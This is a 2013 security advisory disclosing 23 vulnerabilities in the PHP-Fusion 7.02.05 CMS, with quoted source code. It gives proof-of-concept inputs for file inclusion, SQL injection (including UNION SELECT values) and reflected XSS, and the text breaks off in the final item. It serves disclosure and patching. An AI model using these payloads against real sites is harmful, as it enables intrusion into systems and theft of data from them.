1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 |
[waraxe-2013-SA#097] - Multiple Vulnerabilities in PHP-Fusion 7.02.05 =============================================================================== Author: Janek Vind "waraxe" Date: 27. February 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-97.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PHP-Fusion is a light-weight open-source content management system (CMS) written in PHP 5. It utilises a MySQL database to store your site content and includes a simple, comprehensive administration system. PHP-Fusion includes the most common features you would expect to see in many other CMS packages. http://www.php-fusion.co.uk/news.php http://sourceforge.net/projects/php-fusion/ Vulnerable is version 7.02.05 and possibly older versions. New, patched version 7.02.06 available here: http://www.php-fusion.co.uk/news.php?readmore=569 http://www.php-fusion.co.uk/downloads.php?cat_id=23&download_id=264 ############################################################################### 1. Local File Inclusion in "maincore.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameter "user_theme" Preconditions: 1. Logged in as valid user 2. "Allow users to change theme" option must be activated (it is by default) 3. PHP must be < 5.3.4 for null-byte attacks to work PHP-Fusion users can edit their profile and by default there is possibility to change the theme. There is no sufficient sanitization of the POST parameter "user_theme": Php script "includes/user_fields/user_theme_include" line 41: ------------------------[ source code start ]---------------------------------- } elseif ($profile_method == "validate_insert"|| $profile_method == "validate_update") { if ($settings['userthemes'] == 1 || iADMIN) { // Get input data if (isset($_POST['user_theme']) && $_POST['user_theme'] != "") { // Set update or insert user data $this->_setDBValue("user_theme", stripinput(trim($_POST['user_theme']))); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied parameter "user_theme" goes through the function "stripinput()": Php script "maincore.php" line 332: ------------------------[ source code start ]---------------------------------- // Strip Input Function, prevents HTML in unwanted places function stripinput($text) { if (!is_array($text)) { $text = stripslash(trim($text)); $text = preg_replace("/(&)+(?=\#([0-9]{2,3});)/i", "&", $text); $search = array("&", "\"", "'", "\\", '\"', "\'", "<", ">", " "); $replace = array("&", """, "'", "\", """, "'", "<", ">", " "); $text = str_replace($search, $replace, $text); } else { foreach ($text as $key => $value) { $text[$key] = stripinput($value); } } return $text; } ------------------------[ source code end ]------------------------------------ This function works against XSS and SQL Injection attacks, but not against file inclusion attacks. Attacker can submit user theme value as one below: ../images/avatars/waraxe.jpg\0z Directory traversal symbols "../" and null byte will pass through the function "stripinput()" and whole string will be saved to the database. All subsequent requests by attacker will use this malicious theme string and as result, previously uploaded avatar picture with PHP payload gets included and executed. Most front-end scripts start with this: ------------------------[ source code start ]---------------------------------- require_once "maincore.php"; require_once THEMES."templates/header.php"; ------------------------[ source code end ]------------------------------------ Php script "maincore.php" line 264: ------------------------[ source code start ]---------------------------------- // Set theme if (!theme_exists($userdata['user_theme'])) { ... // Check that site or user theme exists function theme_exists($theme) { global $settings; ... } elseif (file_exists(THEMES.$theme."/theme.php") && file_exists(THEMES.$theme."/styles.css")) { define("THEME", THEMES.$theme."/"); ------------------------[ source code end ]------------------------------------ We can see, that malicious theme string from database will be used in theme path definition and later is used in "require_once". This security vulnerability was tested by using Burp Proxy and exploitation succeeded. ############################################################################### 2. Local File Inclusion in "administration/user_fields.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "enable" Preconditions: 1. Logged in as admin with user field administration privileges 2. PHP must be < 5.3.4 for null-byte attacks to work Php script "administration/user_fields.php" line 84: ------------------------[ source code start ]---------------------------------- } elseif (isset($_GET['enable']) && file_exists(INCLUDES."user_fields/".stripinput($_GET['enable'])."_include_var.php") && file_exists(INCLUDES."user_fields/".stripinput($_GET['enable'])."_include.php") ) { $user_field_api_version = "1.00.00"; if (file_exists(LOCALE.LOCALESET."user_fields/".stripinput($_GET['enable']).".php")) { include LOCALE.LOCALESET."user_fields/".stripinput($_GET['enable']).".php"; ------------------------[ source code end ]------------------------------------ Test (parameter "aid" needs to be valid): Upload avatar picture with PHP payload and then issue request: http://localhost/phpfusion70205/administration/user_fields.php? aid=e017e24eb00e8ccf&enable=../../images/avatars/waraxe.jpg%00z ############################################################################### 3. SQL Injection in "includes/classes/Authenticate.class.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied HTTP cookie Preconditions: 1. magic_quotes_gpc=off Php script "includes/classes/Authenticate.class.php" line 143: ------------------------[ source code start ]---------------------------------- // Validate authenticated user public static function validateAuthUser($userCookie = true) { if (isset($_COOKIE[COOKIE_USER]) && $_COOKIE[COOKIE_USER] != "") { $cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]); if (count($cookieDataArr) == 3) { list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr; if ($cookieExpiration > time()) { $result = dbquery( "SELECT * FROM ".DB_USERS." WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0' LIMIT 1" ); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied cookie will be exploded to three parts and first part, "userID" is used in SQL query without any sanitization, which leads to SQL Injection vulnerability. ############################################################################### 4. SQL Injection in "downloads.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "orderby" Preconditions: 1. valid download category with at least one download Php script "downloads.php" line 111: ------------------------[ source code start ]---------------------------------- if (isset($_GET['orderby'])) { $order_by = stripinput($_GET['orderby']); ... $result = dbquery( "SELECT td.download_id, td.download_user, td.download_datestamp, ... ORDER BY ".($order_by == "" ? $cat_data['download_cat_sorting'] : $order_by." ".$sort)." ------------------------[ source code end ]------------------------------------ Tests: http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=waraxe "Unknown column 'waraxe' in 'order clause'" http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=IF(0,1,(SELECT+1+UNION+SELECT+2)) Result: error message "Subquery returns more than 1 row" http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=IF(1,1,(SELECT+1+UNION+SELECT+2)) Result: normal page ############################################################################### 5. SQL Injection in "forum/postedit.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameter "delete_attach_*" Preconditions: 1. Logged in as user with forum posting privileges 2. magic_quotes_gpc=off Php script "forum/postedit.php" line 219: ------------------------[ source code start ]---------------------------------- foreach ($_POST as $key=>$value){ if(!strstr($key, "delete_attach")) continue; $key = str_replace("delete_attach_", "", $key); $result = dbquery("SELECT * FROM ".DB_FORUM_ATTACHMENTS." WHERE post_id='".$_GET['post_id']."' and attach_id='$key'"); ------------------------[ source code end ]------------------------------------ Test (parameters "forum_id", "thread_id" and "post_id" must be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/phpfusion70205/forum/post.php?action=edit&forum_id=2&thread_id=1&post_id=1" method="post"> <input type="hidden" name="savechanges" value="1"> <input type="hidden" name="message" value="Testing"> <input type="hidden" name="delete_attach_war'axe" value="1"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe'' at line 1 ############################################################################### 6. SQL Injection in "forum/postnewthread.php" ############################################################################### Reason: uninitialized variable "$poll_opts" Attack vector: user-supplied parameter "poll_opts" Preconditions: 1. logged in as user with poll creation privileges 2. available forum with poll creation abilities 3. magic_quotes_gpc=off 4. register_globals=on Php script "forum/postnewthread.php" line 126: ------------------------[ source code start ]---------------------------------- foreach ($poll_opts as $poll_option) { $result = dbquery("INSERT INTO ".DB_FORUM_POLL_OPTIONS." (thread_id, forum_poll_option_id, forum_poll_option_text, forum_poll_option_votes) VALUES('".$thread_id."', '".$i."', '".$poll_option."', '0')"); $i++; } ------------------------[ source code end ]------------------------------------ Test (parameter "forum_id" must be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/phpfusion70205/forum/post.php?action=newthread&forum_id=2" method="post"> <input type="hidden" name="subject" value="Test subject"> <input type="hidden" name="message" value="Test message"> <input type="hidden" name="poll_title" value="Test poll"> <input type="hidden" name="poll_opts[]" value="war'axe"> <input type="hidden" name="postnewthread" value="1"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe', '0')' at line 1 ############################################################################### 7. SQL Injection in "administration/settings_messages.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameters "pm_email_notify", "pm_save_sent", "pm_inbox", "pm_sentbox", "pm_savebox" Preconditions: 1. logged in as admin with private message settings change privileges 2. magic_quotes_gpc=off Php script "administration/settings_messages.php" line 38: ------------------------[ source code start ]---------------------------------- if (isset($_POST['saveoptions'])) { $error = 0; dbquery("UPDATE ".DB_MESSAGES_OPTIONS." SET pm_email_notify = '".$_POST['pm_email_notify']."', pm_save_sent = '".$_POST['pm_save_sent']."', pm_inbox = '".$_POST['pm_inbox']."', pm_sentbox = '".$_POST['pm_sentbox']."', pm_savebox = '".$_POST['pm_savebox']."' WHERE user_id='0'" ); ------------------------[ source code end ]------------------------------------ ############################################################################### 8. SQL Injection in "administration/settings_photo.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameters "thumb_compression", "photo_watermark_text_color1", "photo_watermark_text_color2", "photo_watermark_text_color3" Preconditions: 1. logged in as admin with photo gallery settings change privileges 2. magic_quotes_gpc=off Php script "administration/settings_photo.php" line 100: ------------------------[ source code start ]---------------------------------- $result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value='".$_POST['thumb_compression']."' WHERE settings_name='thumb_compression'"); ... $result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value= '".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color1']) ? $_POST['photo_watermark_text_color1'] : "FF6600")."' WHERE settings_name='photo_watermark_text_color1'"); if (!$result) { $error = 1; } $result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value= '".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color2']) ? $_POST['photo_watermark_text_color2'] : "FFFF00")."' WHERE settings_name='photo_watermark_text_color2'"); if (!$result) { $error = 1; } $result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value=' ".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color3']) ? $_POST['photo_watermark_text_color3'] : "FFFFFF")."' WHERE settings_name='photo_watermark_text_color3'"); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied POST parameter "thumb_compression" is used in SQL query without any sanitization. Other three affected parameters "photo_watermark_text_color1", photo_watermark_text_color2", "photo_watermark_text_color1" are checked against regex, but this regex is flawed and does not stop SQL injection. Attacker can use "AABBCC'waraxe" and regex check is bypassed. Correct regex would be "/^([0-9A-F]){6}$/i". ############################################################################### 9. SQL Injection in "administration/bbcodes.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "enable" Preconditions: 1. logged in as admin with BB Codes administration privileges 2. magic_quotes_gpc=off 3. PHP must be < 5.3.4 for null-byte attacks to work Php script "administration/bbcodes.php" line 49: ------------------------[ source code start ]---------------------------------- } elseif (isset($_GET['enable']) && file_exists(INCLUDES."bbcodes/".$_GET['enable']."_bbcode_include_var.php") && file_exists(INCLUDES."bbcodes/".$_GET['enable']."_bbcode_include.php")) { ... $result = dbquery("INSERT INTO ".DB_BBCODES." (bbcode_name, bbcode_order) VALUES ('".$_GET['enable']."', '".$order."')"); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied GET parameter "enable" is used in SQL query without sufficient sanitization. There are two checks against valid filenames, but it's possible to use null byte method to bypass these checks. Test (parameter "aid" needs to be valid): http://localhost/phpfusion70205/administration/bbcodes.php?aid=c37dd1f4ea5686c5&enable=%00war'axe Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe', '13')' at line 1 ############################################################################### 10. SQL Injection in "administration/news.php" case 1 ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameters "news_image", "news_image_t1" and "news_image_t1" Preconditions: 1. logged in as admin with news administration privileges 2. magic_quotes_gpc=off Php script "administration/news.php" line 106: ------------------------[ source code start ]---------------------------------- $news_image = (isset($_POST['news_image']) ? $_POST['news_image'] : ""); $news_image_t1 = (isset($_POST['news_image_t1']) ? $_POST['news_image_t1'] : ""); $news_image_t2 = (isset($_POST['news_image_t2']) ? $_POST['news_image_t2'] : ""); ... $result = dbquery("UPDATE ".DB_NEWS." SET news_subject='$news_subject', news_cat='$news_cat', news_end='$news_end_date', news_image='$news_image', news_news='$body', news_extended='$body2', news_breaks='$news_breaks', ".($news_start_date != 0 ? " news_datestamp='$news_start_date'," : ""). " news_start='$news_start_date', news_image_t1='$news_image_t1', news_image_t2= '$news_image_t2', news_visibility='$news_visibility', news_draft='$news_draft', news_sticky='$news_sticky', news_allow_comments='$news_comments', news_allow_ratings='$news_ratings' WHERE news_id='".$_POST['news_id']."'"); ------------------------[ source code end ]------------------------------------ Test (parameter "aid" needs to be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8" method="post"> <input type="hidden" name="save" value="1"> <input type="hidden" name="news_image" value="war'axe"> <input type="hidden" name="news_image_t1" value="war'axe2"> <input type="hidden" name="news_image_t2" value="war'axe3"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe', 'war'axe2', 'war'axe3', '0', '0', '0', '0', '0', '0')' at line 1 ############################################################################### 11. SQL Injection in "administration/articles.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameter "article_id" Preconditions: 1. Logged in as admin with articles administration privileges 2. magic_quotes_gpc=off Php script "administration/articles.php" line : ------------------------[ source code start ]---------------------------------- if ((isset($_GET['action']) && $_GET['action'] == "edit") && (isset($_POST['article_id']) && isnum($_POST['article_id'])) || (isset($_GET['article_id']) && isnum($_GET['article_id']))) { $result = dbquery("SELECT article_cat, article_subject, article_snippet, article_article, article_draft, article_breaks, article_allow_comments, article_allow_ratings FROM ".DB_ARTICLES." WHERE article_id='".(isset($_POST['article_id']) ? $_POST['article_id'] : $_GET['article_id'])."'") ------------------------[ source code end ]------------------------------------ As seen above, user-supplied parameter "article_id" goes through validation before using in SQL query, but this validation has flawed logic. If we submit numeric GET parameter "article_id" and non-numeric malicious POST parameter with the same name, then first check will pass, because GET parameter is valid, but after that POST parameter is used in SQL query ... Test (parameter "aid" must be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/phpfusion70205/administration/articles.php?aid=0ebd6f54040890e8&action=edit&article_id=123" method="post"> <input type="hidden" name="article_id" value="0'UNION SELECT 1,@@version,3,4,5,6,7,'8"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ ############################################################################### 12. SQL Injection in "administration/news.php" case 2 ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameter "news_id" Preconditions: 1. logged in as admin with news administration privileges 2. magic_quotes_gpc=off This security vulnerability is similar to the previous case. User-supplied data verification exists, but it's not able to stop SQL injection due to flawed logic. Php script "administration/news.php" line 236: ------------------------[ source code start ]---------------------------------- if ((isset($_GET['action']) && $_GET['action'] == "edit") && (isset($_POST['news_id']) && isnum($_POST['news_id'])) || (isset($_GET['news_id']) && isnum($_GET['news_id']))) { $result = dbquery("SELECT news_subject, news_cat, news_news, news_extended, news_start, news_end, news_image, news_image_t1, news_image_t2, news_visibility, news_draft, news_sticky, news_breaks, news_allow_comments, news_allow_ratings FROM ".DB_NEWS." WHERE news_id='".(isset($_POST['news_id']) ? $_POST['news_id'] : $_GET['news_id'])."' LIMIT 1"); ------------------------[ source code end ]------------------------------------ Test (parameter "aid" needs to be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8&action=edit&news_id=123" method="post"> <input type="hidden" name="news_id" value="0'UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,'15"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ ############################################################################### 13. Reflected XSS in "forum/viewthread.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied GET parameter "highlight" Preconditions: 1. there must exist at least one forum thread Php script "forum/viewthread.php" line 361: ------------------------[ source code start ]---------------------------------- // highlight jQuery plugin if (isset($_GET['highlight'])) { $words = explode(" ", urldecode($_GET['highlight'])); $higlight = ""; $i = 1; $c_words = count($words); foreach ($words as $hlight) { $higlight .= "'".$hlight."'"; $higlight .= ($i < $c_words ? "," : ""); $i++; } add_to_head("<script type='text/javascript' src='https://www.exploit-db.com/exploits/24562/".INCLUDES."jquery/jquery.highlight.js'></script>"); $highlight_js .= "jQuery('.search_result').highlight([".$higlight."],{wordsOnly:true});"; ------------------------[ source code end ]------------------------------------ Test (parameter "thread_id" must be valid): http://localhost/phpfusion70205/forum/viewthread.php?thread_id=20&highlight=%2527]);});alert(123);/* ############################################################################### 14. Reflected XSS in "messages.php" ############################################################################### Reason: 1. uninitialized variables "$user_list" and "$user_types" 2. insufficient sanitization of html output Attack vector: user-supplied parameters "user_list", "user_types" Preconditions: 1. logged in as user 2. register_globals=on Php script "messages.php" line 482: ------------------------[ source code start ]---------------------------------- if ($_GET['msg_send'] == "0") { echo "<select name='msg_send' class='textbox'>\n".$user_list."</select>\n"; ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/phpfusion70205/messages.php?msg_send=0" method="post"> <input type="hidden" name="chk_sendtoall" value="0"> <input type="hidden" name="user_list" value="</select><script>alert(123);</script>"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Similar problem is related to variable "$user_types", only in this case admin access level is needed: Php script "messages.php" line 490: ------------------------[ source code start ]---------------------------------- if (iADMIN && !isset($_GET['msg_id'])) { echo "<label><input name='chk_sendtoall' type='checkbox' ".$sendtoall_chk." />\n"; echo "".$locale['434'].":</label> <select name='msg_to_group' class='textbox'>\n".$user_types."</select>\n"; ------------------------[ source code end ]------------------------------------ ############################################################################### 15. Reflected XSS in "infusions/shoutbox_panel/shoutbox_admin.php" ############################################################################### Reason: 1. uninitialized variable "$message" 2. insufficient sanitization of html output Attack vector: user-supplied parameter "message" Preconditions: 1. logged in as admin with shoutbox administration privileges 2. register_globals=on Php script "infusions/shoutbox_panel/shoutbox_admin.php" line 149: ------------------------[ source code start ]---------------------------------- if (isset($message) && $message != "") { echo "<div id='close-message'><div class='admin-message'>".$message."</div></div>\n"; } ------------------------[ source code end ]------------------------------------ Test (parameter "aid" needs to be valid): http://localhost/phpfusion70205/infusions/shoutbox_panel/shoutbox_admin.php? aid=e017e24eb00e8ccf&page=settings&message=<body+onload=alert(123);+ ############################################################################### 16. Reflected XSS in "administration/news.php" ############################################################################### Reason: 1. uninitialized variable "$message" 2. insufficient sanitization of html output Attack vector: user-supplied parameter "message" Preconditions: 1. logged in as admin with news administration privileges 2. register_globals=on Php script "administration/news.php" line 31: ------------------------[ source code start ]---------------------------------- if (isset($_GET['error']) && isnum($_GET['error'])) { if ($_GET['error'] == 1) { $message = $locale['413']; ... if ($message) {echo "<div id='close-message'> <div class='admin-message'>".$message."</div></div>\n"; } } if (isset($_GET['status'])) { if ($_GET['status'] == "sn") { $message = $locale['410']; ... if ($message) {echo "<div id='close-message'> <div class='admin-message'>".$message."</div></div>\n"; } } ------------------------[ source code end ]------------------------------------ Tests (parameter "aid" needs to be valid): http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8 &error=9&message=<body+onload=alert(123);+ http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8 &status=1&message=<body+onload=alert(123);+ ############################################################################### 17. Reflected XSS in "administration/panel_editor.php" ############################################################################### Reason: 1. uninitialized variable "$panel_list" 2. insufficient sanitization of html output Attack vector: user-supplied parameter "panel_list" Preconditions: 1. logged in as admin with panel editing privileges 2. register_globals=on Php script "administration/panel_editor.php" line 32: ------------------------[ source code start ]---------------------------------- while ($folder = readdir($temp)) { if (!in_array($folder, array(".","..")) && strstr($folder, "_panel")) { if (is_dir(INFUSIONS.$folder)) $panel_list[] = $folder; } } ... for ($i=0;$i < count($panel_list);$i++) { echo "<option".($panel_filename == $panel_list[$i] ? " selected='selected'" : "").">".$panel_list[$i]."</option>\n"; ------------------------[ source code end ]------------------------------------ Test (parameter "aid" needs to be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/phpfusion70205/administration/panel_editor.php?aid=e017e24eb00e8ccf" method="post"> <input type="hidden" name="panel_list[]" value="<script>alert(123);</script>"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ ############################################################################### 18. Reflected XSS in "administration/phpinfo.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: User-Agent string Preconditions: 1. logged in as admin with php info view privileges Php script "administration/phpinfo.php" line 46: ------------------------[ source code start ]---------------------------------- $phpinfo .= "<tr>\n<td class='tbl2' style='width:20%'>".$locale['410']."</td> <td class='tbl1' style='text-align:right'>".$_SERVER['HTTP_USER_AGENT']."</td></tr>\n"; ------------------------[ source code end ]------------------------------------ ############################################################################### 19. Reflected XSS in "administration/bbcodes.php" ############################################################################### Reason: 1. uninitialized variable "$__BBCODE__" 2. insufficient sanitization of html output Attack vector: user-supplied parameter "__BBCODE__" Preconditions: 1. logged in as admin with bbcode settings change privileges 2. register_globals=on Php script "administration/bbcodes.php" line 141: ------------------------[ source code start ]---------------------------------- echo "<td class='$cls'>".$__BBCODE__[0]['description']."</td>\n"; echo "<td class='$cls'>".$__BBCODE__[0]['usage']."</td>\n"; ------------------------[ source code end ]------------------------------------ Test (parameter "aid" needs to be valid): http://localhost/phpfusion70205/administration/bbcodes.php?aid=693ec1754cc0b042 &__BBCODE__[0][description]=<body+onload=alert(123);+ http://localhost/phpfusion70205/administration/bbcodes.php?aid=693ec1754cc0b042 &__BBCODE__[0][usage]=<body+onload=alert(123);+ ############################################################################### 20. Reflected XSS in multiple admin scripts, affected parameter "errorMessage" ############################################################################### Reason: 1. uninitialized variables "$error" and "$errorMessage" 2. insufficient sanitization of html output Attack vector: user-supplied parameters "error" and "errorMessage" Preconditions: 1. logged in as admin with appropriate privileges 2. register_globals=on Php script "administration/article_cats.php" line 110: ------------------------[ source code start ]---------------------------------- if (isset($error) && isnum($error)) { if ($error == 1) { $errorMessage = $locale['460']; } elseif ($error == 2) { $errorMessage = $locale['461']; } if ($errorMessage) { echo "<div id='close-message'> <div class='admin-message'>".$errorMessage."</div></div>\n"; } ------------------------[ source code end ]------------------------------------ The same vulnerability exists in four different admin scripts: 1. administration/article_cats.php 2. administration/download_cats.php 3. administration/news_cats.php 4. administration/weblink_cats.php Tests (parameter "aid" needs to be valid): http://localhost/phpfusion70205/administration/article_cats.php? aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+ http://localhost/phpfusion70205/administration/download_cats.php? aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+ http://localhost/phpfusion70205/administration/news_cats.php? aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+ http://localhost/phpfusion70205/administration/weblink_cats.php? aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+ ############################################################################### 21. Reflected XSS in "administration/articles.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied POST parameters "body" and "body2" Preconditions: 1. logged in as admin with articles administration privileges Php script "administration/articles.php" line 70: ------------------------[ source code start ]---------------------------------- $bodypreview = str_replace("src='https://www.exploit-db.com/exploits/24562/".str_replace("../", "", IMAGES_A), "src='https://www.exploit-db.com/exploits/24562/".IMAGES_A, stripslash($_POST['body'])); $body2preview = str_replace("src='https://www.exploit-db.com/exploits/24562/".str_replace("../", "", IMAGES_A), "src='https://www.exploit-db.com/exploits/24562/".IMAGES_A, stripslash($_POST['body2'])); ... echo $bodypreview."\n"; ... echo $body2preview."\n"; ------------------------[ source code end ]------------------------------------ Test (parameter "aid" needs to be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/phpfusion70205/administration/articles.php?aid=0ebd6f54040890e8" method="post"> <input type="hidden" name="preview" value="1"> <input type="hidden" name="body" value="<script>alert(123);</script>"> <input type="hidden" name="body2" value="<script>alert(321);</script>"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ ############################################################################### 22. Arbitrary file deletion in "administration/db_backup.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-suppliedPOST parameter "file" Preconditions: 1. logged in as admin with database backup privileges Php script "administration/db_backup.php" line 130: ------------------------[ source code start ]---------------------------------- if (isset($_POST['btn_cancel'])) { @unlink(ADMIN."db_backups/".$_POST['file']); redirect(FUSION_SELF.$aidlink); } ------------------------[ source code end ]------------------------------------ As we can see, user-suppliedPOST parameter "file" is used in php function "unlink()" without any sanitization. It's possible to use directory traversal strings "../" and delete arbitrary files on the target system. ############################################################################### 23. Insecure database backup file handling in "administration/db_backup.php" ############################################################################### PHP-Fusion admin with Database Backup privileges can use "Database Restore" feature. First step is database backup file upload: Php script "administration/db_backup.php" line 186: ------------------------[ source code start ]---------------------------------- } elseif (isset($_GET['action']) && $_GET['action'] == "restore") { if (is_uploaded_file($_FILES['upload_backup_file']['tmp_name'])) { $temp_rand = rand(1000000, 9999999); $temp_hash = substr(md5($temp_rand), 8, 8); $file = "temp_".$temp_rand.".txt"; $backup_name = $_FILES['upload_backup_file']['name']; move_uploaded_file($_FILES['upload_backup_file']['tmp_name'], ADMIN."db_backups/".$file); ------------------------[ source code end ]------------------------------------ As we can see, uploaded file will be moved to "db_backups" directory. Two problems exist with that: 1. There is no access restrictions to this directory. Anyone can access uploaded 